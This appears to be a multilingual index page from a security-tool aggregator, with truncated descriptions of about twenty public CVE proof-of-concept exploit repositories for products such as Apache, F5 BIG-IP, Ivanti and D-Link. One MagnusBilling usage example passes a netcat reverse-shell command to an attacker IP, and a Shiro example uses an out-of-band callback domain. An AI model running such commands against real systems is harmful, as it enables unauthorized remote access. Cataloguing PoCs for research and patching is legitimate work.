CVE-2025-10035

CVE-2025-10035 — RCE da deserializzazione nel License Servlet di Fortra GoAnywhere MFT Rapporto di ricerca di Sentinel AI Defense. Solo analisi difensiva — nessun exploit funzionante o PoC viene pubblicato qui. Una catena di deserializzazione perfetta 10/10 in Fortra GoAnywhere MFT: una firma...

cve-2025-66398

⚠️ cve-2025-66398 - Semplice strumento Proof of Concept per RCE ⚙️ Informazioni su Questo Strumento Questo progetto dimostra una vulnerabilità di esecuzione remota di codice RCE in Signal K Server versioni 2.18.0 e precedenti. La proof of concept PoC mostra come un attaccante potrebbe eseguire...

CVE-2021-41773-apache

CVE-2021-41773 Exploit per Apache HTTP Server Questo repository contiene un proof-of-concept exploit basato su Python per la vulnerabilità di path traversal di Apache HTTP Server identificata come CVE-2021-41773. Lo script è progettato per la ricerca sulla sicurezza, i test difensivi e le...

CVE-2023-28324

CVE-2023-28324 POC per CVE-2023-28324 che interessa Ivanti EPM. Analisi Tecnica Un'analisi tecnica della causa principale della vulnerabilità è disponibile sul nostro blog: https://www.horizon3.ai/attack-research/attack-blogs/cve-2023-28324-deep-dive/ Riepilogo Questa POC sfrutta una vulnerabilit...

CVE-2023-30258-RCE-POC

CVE-2023-30258-RCE-POC POC para CVE-2023-30258-RCE por n0o0b Uso root@kitploit: usage: poc.py -h -u URL -c CMD example. python poc.py -u http://10.10.69.34/mbilling --cmd "nc -c sh 10.21.126.163 8888" options: -h, --help show this help message and exit -u URL, --url URL Target URL -c CMD, --cmd C...

Gorsair

Gorsair Gorsair è uno strumento di penetration testing per scoprire e accedere da remoto alle API Docker da container Docker vulnerabili. Una volta ottenuto l'accesso al demone Docker, puoi usare Gorsair per eseguire direttamente comandi su container remoti. Esporre l'API Docker su internet è un...

CVE-2024-53407

CVE-2024-53407 In Phiewer 4.1.0 führt eine dylib-Injektion zur Befehlsausführung, die es Angreifern ermöglicht, eine dylib-Datei zu injizieren, was möglicherweise zu Fernsteuerung und unbefugtem Zugriff auf sensible Benutzerdaten unter macOS führt. Reproduktion Verwenden Sie die .dylib-Datei, um...

CVE-2016-4437

CVE-2016-4437 POC em Python para Explorar a Vulnerabilidade de Desserialização CVE-2016-4437 do Apache Shiro devido a uma Chave de Criptografia Hardcoded Exemplo de uso: ./CVE-2016-4437.py -c nslookup -u https://example.com/ -i ecsepnkqtxlishpynfdge01543e4vmx7v.oast.fun Consulte os comentários e ...

CVE-2018-2628

CVE-2018-2628 Uno strumento proof-of-concept per generare payload che sfruttano la deserializzazione non sicura di oggetti Java. Passaggi dettagliati per la riproduzione della vulnerabilità CVE-2018-2628: 0x01 Sull'host JRMPListener, esegui il seguente comando: root@kitploit: wget...

CVE-2018-10517

CVE-2018-12613 Esecuzione remota di comandi autenticata caricando un modulo falso, rilasciando file PHP sul server web remoto. Software interessato 1. CMS Made Simple 2.2.7; Come usare Questo script PowerShell necessita di due parametri per creare una richiesta HTTP di exploit: root@kitploit: 1...

CVE-2024-10914

CVE-2024-10914 - Exploit per l'esecuzione remota di codice RCE di D-Link Questo script è un exploit proof-of-concept PoC per CVE-2024-10914, una vulnerabilità di esecuzione remota di codice in alcuni dispositivi D-Link. Lo script identifica e sfrutta i dispositivi vulnerabili per eseguire comandi...

CVE-2023-38646

CVE-2023-38646 Fork dikh4sh3i che elimina la necessità di Burp Collector. CVE-2023-38646 RCE pre-autenticazione in Metabase: Metabase open source precedente alla versione 0.46.6.1 e Metabase Enterprise precedente alla versione 1.46.6.1 consentono agli aggressori di eseguire comandi arbitrari sul...

CVE-2020-5902

🚨 CVE-2020-5902 — F5 BIG-IP TMUI RCE CVE-2020-5902 è una vulnerabilità critica di Esecuzione Remota di Codice RCE non autenticata nell'Interfaccia Utente di Gestione del Traffico TMUI / utility di configurazione di F5 BIG-IP. 📌 Panoramica Divulgata da F5 il 30 giugno 2020 pubblicata su NVD il 1°...

cve-2018-1002105

Questo è stato modificato da https://gravitational.com/blog/kubernetes-websocket-upgrade-security-vulnerability/. Tutto il merito va alle gentili persone di Gravitational. Il codice PoC originale è stato modificato per andare un po' oltre la verifica della vulnerabilità e per eseguire...

CVE-2020-14947

CVE-2020-14947 O exploit oficial para OCS Inventory NG v2.7 de Execução Remota de Comandos CVE-2020-14947...

Gitlab-CVE-2021-22205

Gitlab-CVE-2021-22205 Multithread-Batch-Erkennungsskript für CVE-2021-22205 Verwendung von dnslog, kann mit poc erkannt werden Verwendung von Multithreading zur Erkennung Anpassbare Befehlsausführung...

CVE-2018-6961

CVE-2018-6961 – NICHT AUTHENTIFIZIERTE BEFEHLSEINSCHLEUSUNGS-SCHWACHSTELLE Dieser Exploit funktioniert in Python2.7 – Nicht in anderen Versionen getestet. 1 Abhängigkeiten installieren root@kitploit: pip install request Wenn pip nicht installiert ist, führen Sie einfach Folgendes aus:...

0-click-RCE-Exploit-for-CVE-2024-50498

CVE-2024-50498 / Exploit RCE 0-Click Autor: Joshua Provoste https://x.com/JoshuaProvoste/status/1858512517774868845 Este repositório contém uma prova de conceito de exploit para CVE-2024-50498, uma vulnerabilidade de injeção de código não autenticada no plugin LUBUS WP Query Console para WordPres...

CVE-2020-11651

CVE-2020-11651 Ein Problem wurde in SaltStack Salt vor Version 2019.2.4 und 3000 vor 3000.2 entdeckt. Die ClearFuncs-Klasse des salt-master-Prozesses validiert Methodenaufrufe nicht ordnungsgemäß. Dadurch kann ein entfernter Benutzer ohne Authentifizierung auf einige Methoden zugreifen. Diese...

CVE-2021-21389

Uso 1. Construa o docker para configurar um ambiente vulnerável de wordpress e buddypress. 2. Construa e execute o container mariaDB. 3. Faça com que os dois containers sejam executados na mesma rede. ex docker network create wordpressnetwork docker network connect wordpressnetwork wordpressapp...